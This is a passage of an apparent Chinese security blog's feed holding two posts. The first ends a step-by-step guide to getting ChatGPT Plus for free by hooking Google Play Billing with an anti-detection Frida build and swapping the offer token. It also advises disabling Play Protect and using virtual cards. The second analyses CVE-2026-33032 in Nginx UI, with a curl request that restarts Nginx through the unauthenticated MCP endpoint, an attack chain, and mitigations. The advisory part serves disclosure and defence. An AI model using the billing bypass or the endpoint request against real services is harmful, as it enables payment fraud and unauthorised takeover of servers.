&lt;li&gt;推送 &lt;code&gt;frida-server&lt;/code&gt; (HLUDA 版本) 到手机并运行&lt;/li&gt;
&lt;li&gt;打开 ChatGPT 应用，进入升级 - 订阅 Plus 页面&lt;/li&gt;
&lt;li&gt;电脑端运行 &lt;code&gt;frida -U -f com.openai.chatgpt -l script.js&lt;/code&gt; 开启脚本&lt;/li&gt;
&lt;li&gt;脚本会自动捕获并替换 token（控制台显示 &lt;code&gt;SWAP -&amp;gt; plus-1-month-free-trial&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;在订阅页面点击升级，弹出的谷歌支付弹窗即显示 0 元&lt;/li&gt;
&lt;li&gt;完成验证后订阅成功&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;注意事项&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;建议使用简化版脚本，更稳定&lt;/li&gt;
&lt;li&gt;如果简化版不工作，再尝试动态捕获版&lt;/li&gt;
&lt;li&gt;使用 HLUDA 版本 Frida 可绕过部分检测&lt;/li&gt;
&lt;li&gt;部分设备可能需要关闭 Google Play 保护机制&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="漏洞根源分析"&gt;漏洞根源分析
&lt;/h2&gt;&lt;h3 id="方案一api-响应注入"&gt;方案一：API 响应注入
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;漏洞根源&lt;/strong&gt;：服务端未校验 &lt;code&gt;eligible_promo_campaigns&lt;/code&gt; 中优惠码的获取途径合法性，仅验证格式有效即允许使用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修复状态&lt;/strong&gt;：部分修复。目前部分优惠码已与账号资格绑定，但固定优惠码仍可使用。&lt;/p&gt;
&lt;h3 id="方案二offertoken-替换"&gt;方案二：offerToken 替换
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;漏洞根源&lt;/strong&gt;：Google Play Billing 信任客户端传入的 &lt;code&gt;offerToken&lt;/code&gt;，未与服务端二次校验账号是否真正具备该优惠的使用资格。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修复状态&lt;/strong&gt;：未修复。这是 Google Play Billing 的设计缺陷，需要谷歌层面修复。&lt;/p&gt;
&lt;h3 id="方案三批量开-pro已修复"&gt;方案三：批量开 Pro（已修复）
&lt;/h3&gt;&lt;p&gt;这是之前某个公益 Bot 使用的大规模开 Pro 方案：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;正价开通一个 ChatGPT Pro 账号&lt;/li&gt;
&lt;li&gt;在客户端内点击&amp;quot;降级为 Plus&amp;quot;&lt;/li&gt;
&lt;li&gt;客户端向 RevenueCat 请求新的 &lt;code&gt;fetch_token&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;该 token 为一次性凭证，未使用前可无限生成&lt;/li&gt;
&lt;li&gt;将 token 分发给需要开 Pro 的账号&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;漏洞根源&lt;/strong&gt;：RevenueCat 作为第三方订阅管理平台，与 ChatGPT 服务端之间的回调接口缺乏鉴权机制。服务端未校验 &lt;code&gt;fetch_token&lt;/code&gt; 的来源合法性，仅验证 token 格式有效即开通权益。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修复状态&lt;/strong&gt;：该方案已被修复。目前 &lt;code&gt;fetch_token&lt;/code&gt; 已与设备指纹和账号绑定，无法跨账号使用。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="技术总结"&gt;技术总结
&lt;/h2&gt;&lt;h3 id="漏洞类型"&gt;漏洞类型
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;业务逻辑漏洞&lt;/strong&gt;：服务端过度信任客户端传入的订阅凭证&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第三方集成风险&lt;/strong&gt;：RevenueCat/Google Play Billing 回调接口缺乏鉴权&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优惠码校验缺失&lt;/strong&gt;：未校验优惠码的获取途径合法性和账号资格&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="攻击链关键点"&gt;攻击链关键点
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;中间人攻击可行性&lt;/strong&gt;：安卓客户端未启用 SSL Pinning（或可被 Root 绕过）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内存 Hook 可行性&lt;/strong&gt;：Google Play Billing 未检测 Frida 等 Hook 框架&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;零元订阅风控宽松&lt;/strong&gt;：Google Play 对 0 元交易验证级别低&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;凭证复用漏洞&lt;/strong&gt;：&lt;code&gt;fetch_token&lt;/code&gt;/&lt;code&gt;offerToken&lt;/code&gt; 未与账号/设备绑定&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="防御建议"&gt;防御建议
&lt;/h3&gt;&lt;h4 id="对开发者的建议"&gt;对开发者的建议
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;服务端校验&lt;/strong&gt;：所有订阅状态变更必须与 Google Play Billing 侧二次确认&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;凭证绑定&lt;/strong&gt;：&lt;code&gt;fetch_token&lt;/code&gt;/&lt;code&gt;offerToken&lt;/code&gt; 应绑定设备指纹、账号 ID、时间戳&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优惠码校验&lt;/strong&gt;：记录优惠码使用历史，检测异常使用模式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSL Pinning&lt;/strong&gt;：移动端应用应启用证书锁定防止中间人攻击&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;反 Hook 检测&lt;/strong&gt;：检测 Frida、Xposed 等 Hook 框架&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="对用户的提醒"&gt;对用户的提醒
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;此类漏洞属于灰色地带，使用可能导致账号被封禁&lt;/li&gt;
&lt;li&gt;绑定的支付方式存在潜在风险，建议使用虚拟卡&lt;/li&gt;
&lt;li&gt;漏洞随时可能被修复，不建议作为长期使用方案&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="法律免责声明"&gt;法律免责声明
&lt;/h2&gt;&lt;p&gt;本文仅用于技术研究与安全交流，请勿将所述技术用于非法用途。未经授权的订阅漏洞利用可能违反以下法律：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《中华人民共和国网络安全法》&lt;/li&gt;
&lt;li&gt;《计算机信息网络国际联网安全保护管理办法》&lt;/li&gt;
&lt;li&gt;美国 Computer Fraud and Abuse Act (CFAA)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如因滥用本文技术导致的法律后果，作者不承担任何责任。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="参考资料"&gt;参考资料
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://docs.revenuecat.com/" target="_blank" rel="noopener"
 &gt;RevenueCat 官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://developer.android.com/google/play/billing/security" target="_blank" rel="noopener"
 &gt;Google Play Billing 安全最佳实践&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://owasp.org/www-project-mobile-top-10/" target="_blank" rel="noopener"
 &gt;OWASP Mobile Top 10&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://frida.re/docs/" target="_blank" rel="noopener"
 &gt;Frida 官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/frida/frida/releases" target="_blank" rel="noopener"
 &gt;HLUDA - Undetectable Frida Server&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;标签&lt;/strong&gt;: #ChatGPT #订阅漏洞 #GooglePlayBilling #Frida #支付安全 #移动安全 #漏洞分析&lt;/p&gt;</description></item><item><title>CVE-2026-33032：Nginx UI MCP 未授权访问漏洞详解 (CVSS 9.8)</title><link>https://blog.7qiang.com/posts/cve-2026-33032-nginx-ui-mcp-takeover/</link><pubDate>Fri, 17 Apr 2026 04:30:00 +0800</pubDate><guid>https://blog.7qiang.com/posts/cve-2026-33032-nginx-ui-mcp-takeover/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post CVE-2026-33032：Nginx UI MCP 未授权访问漏洞详解 (CVSS 9.8)" /&gt;&lt;p&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;漏洞等级&lt;/strong&gt;: 🔴 CRITICAL (CVSS 9.8)
&lt;strong&gt;影响版本&lt;/strong&gt;: Nginx UI ≤ 2.3.5
&lt;strong&gt;CVE 编号&lt;/strong&gt;: CVE-2026-33032
&lt;strong&gt;CWE 编号&lt;/strong&gt;: CWE-306 (关键功能缺少认证)
&lt;strong&gt;披露日期&lt;/strong&gt;: 2026-03-30
&lt;strong&gt;最后更新&lt;/strong&gt;: 2026-04-16&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="漏洞概述"&gt;漏洞概述
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;CVE-2026-33032&lt;/strong&gt; 是 Nginx UI（Nginx 服务器的 Web 管理界面）中的一个&lt;strong&gt;严重未授权访问漏洞&lt;/strong&gt;。攻击者可以利用该漏洞在无需任何身份认证的情况下，通过 MCP (Model Context Protocol) 集成端点执行任意管理操作，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;🔄 重启 Nginx 服务&lt;/li&gt;
&lt;li&gt;📝 创建/修改/删除 Nginx 配置文件&lt;/li&gt;
&lt;li&gt;⚡ 触发自动配置重载&lt;/li&gt;
&lt;li&gt;🎯 &lt;strong&gt;完全接管 Nginx 服务&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;该漏洞的 CVSS 3.1 基础评分为 &lt;strong&gt;9.8 (CRITICAL)&lt;/strong&gt;，攻击向量为网络 (AV:N)，攻击复杂度低 (AC:L)，无需权限 (PR:N)，无需用户交互 (UI:N)，对机密性、完整性、可用性均有高影响 (C:H/I:H/A:H)。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="漏洞原理"&gt;漏洞原理
&lt;/h2&gt;&lt;h3 id="问题根源"&gt;问题根源
&lt;/h3&gt;&lt;p&gt;Nginx UI 的 MCP 集成暴露了两个 HTTP 端点：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;端点&lt;/th&gt;
 &lt;th&gt;认证要求&lt;/th&gt;
 &lt;th&gt;状态&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;/mcp&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;IP 白名单 + AuthRequired() 中间件&lt;/td&gt;
 &lt;td&gt;✅ 安全&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;/mcp_message&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;仅 IP 白名单&lt;/td&gt;
 &lt;td&gt;❌ 存在漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="致命缺陷"&gt;致命缺陷
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;/mcp_message&lt;/code&gt; 端点的问题在于：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;仅应用 IP 白名单检查&lt;/strong&gt;，没有身份认证&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;默认 IP 白名单为空&lt;/strong&gt; (&lt;code&gt;[]&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;空白的 IP 白名单被中间件解释为 &lt;strong&gt;“允许所有 IP”&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这意味着任何能够访问 Nginx UI 的网络攻击者都可以：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;任意攻击者 → /mcp_message → 调用所有 MCP 工具 → 完全控制 Nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="代码层面分析"&gt;代码层面分析
&lt;/h3&gt;&lt;p&gt;根据 GitHub 安全公告 (GHSA-h6c2-x2m2-mwhf)，问题出在中间件配置上：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// /mcp 端点 - 正确配置
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/mcp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ipWhitelistMiddleware&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;AuthRequired&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nx"&gt;mcpHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// /mcp_message 端点 - 错误配置
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/mcp_message&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ipWhitelistMiddleware&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;mcpHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ⚠️ 缺少 AuthRequired() 中间件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ⚠️ 默认 ipWhitelist = [] 被解释为允许所有
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="影响范围"&gt;影响范围
&lt;/h2&gt;&lt;h3 id="受影响版本"&gt;受影响版本
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;软件&lt;/th&gt;
 &lt;th&gt;受影响版本&lt;/th&gt;
 &lt;th&gt;修复版本&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Nginx UI&lt;/td&gt;
 &lt;td&gt;≤ 2.3.5&lt;/td&gt;
 &lt;td&gt;暂无公开补丁&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="cpe-标识"&gt;CPE 标识
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:* versions up to (including) 2.3.5
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="潜在影响"&gt;潜在影响
&lt;/h3&gt;&lt;p&gt;如果 Nginx UI 暴露在公网或不受信任的网络中，攻击者可以：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;服务中断&lt;/strong&gt;: 重启 Nginx 导致网站下线&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置篡改&lt;/strong&gt;: 修改 Nginx 配置植入恶意规则&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;反向代理滥用&lt;/strong&gt;: 配置反向代理进行流量劫持&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSRF 攻击&lt;/strong&gt;: 利用 Nginx 的 proxy_pass 功能内网探测&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebShell 部署&lt;/strong&gt;: 通过配置写入恶意脚本&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="漏洞复现"&gt;漏洞复现
&lt;/h2&gt;&lt;h3 id="环境准备"&gt;环境准备
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 安装受影响的 Nginx UI 版本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker run -d --name nginx-ui &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -p 8080:80 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -p 9000:9000 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0xjacky/nginx-ui:2.3.5
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="检测步骤"&gt;检测步骤
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;步骤 1&lt;/strong&gt;: 确认 Nginx UI 可访问&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -I http://target-ip:9000/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# HTTP/1.1 200 OK 表示服务在线&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;步骤 2&lt;/strong&gt;: 测试 /mcp_message 端点&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -X POST http://target-ip:9000/mcp_message &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -H &lt;span class="s2"&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s1"&gt;&amp;#39;{&amp;#34;method&amp;#34;:&amp;#34;tools/call&amp;#34;,&amp;#34;params&amp;#34;:{&amp;#34;name&amp;#34;:&amp;#34;nginx.restart&amp;#34;}}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;步骤 3&lt;/strong&gt;: 如果返回成功响应，说明存在漏洞&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;result&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;status&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;success&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;message&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Nginx restarted&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="攻击利用链"&gt;攻击利用链
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. 信息收集
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └─→ 扫描 9000 端口 (默认 Nginx UI 端口)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. 漏洞验证
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └─→ 访问 /mcp_message 端点测试未授权访问
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. 权限提升
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └─→ 调用 MCP 工具读取/修改 Nginx 配置
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. 持久化控制
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └─→ 修改配置植入后门或反向代理规则
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5. 横向移动
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └─→ 利用 Nginx 作为跳板探测内网
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="临时缓解方案"&gt;临时缓解方案
&lt;/h2&gt;&lt;p&gt;⚠️ &lt;strong&gt;截至 2026-04-17，官方尚未发布修复补丁&lt;/strong&gt;。建议采取以下临时缓解措施：&lt;/p&gt;
&lt;h3 id="方案-1-网络隔离-推荐"&gt;方案 1: 网络隔离 (推荐)
&lt;/h3&gt;&lt;p&gt;将 Nginx UI 限制在内部网络访问：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 防火墙规则 (UFW 示例)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ufw deny 9000/tcp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ufw allow from 10.0.0.0/8 to any port &lt;span class="m"&gt;9000&lt;/span&gt; proto tcp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ufw allow from 192.168.0.0/16 to any port &lt;span class="m"&gt;9000&lt;/span&gt; proto tcp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="方案-2-nginx-反向代理认证"&gt;方案 2: Nginx 反向代理认证
&lt;/h3&gt;&lt;p&gt;在 Nginx UI 前部署认证层：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;listen&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;server_name&lt;/span&gt; &lt;span class="s"&gt;nginx-ui.example.com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;location&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;auth_basic&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Nginx&lt;/span&gt; &lt;span class="s"&gt;UI&lt;/span&gt; &lt;span class="s"&gt;Admin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;auth_basic_user_file&lt;/span&gt; &lt;span class="s"&gt;/etc/nginx/.htpasswd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 仅允许受信任 IP 访问 MCP 端点
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;location&lt;/span&gt; &lt;span class="s"&gt;/mcp_message&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;allow&lt;/span&gt; &lt;span class="n"&gt;10.0.0.0&lt;/span&gt;&lt;span class="s"&gt;/8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
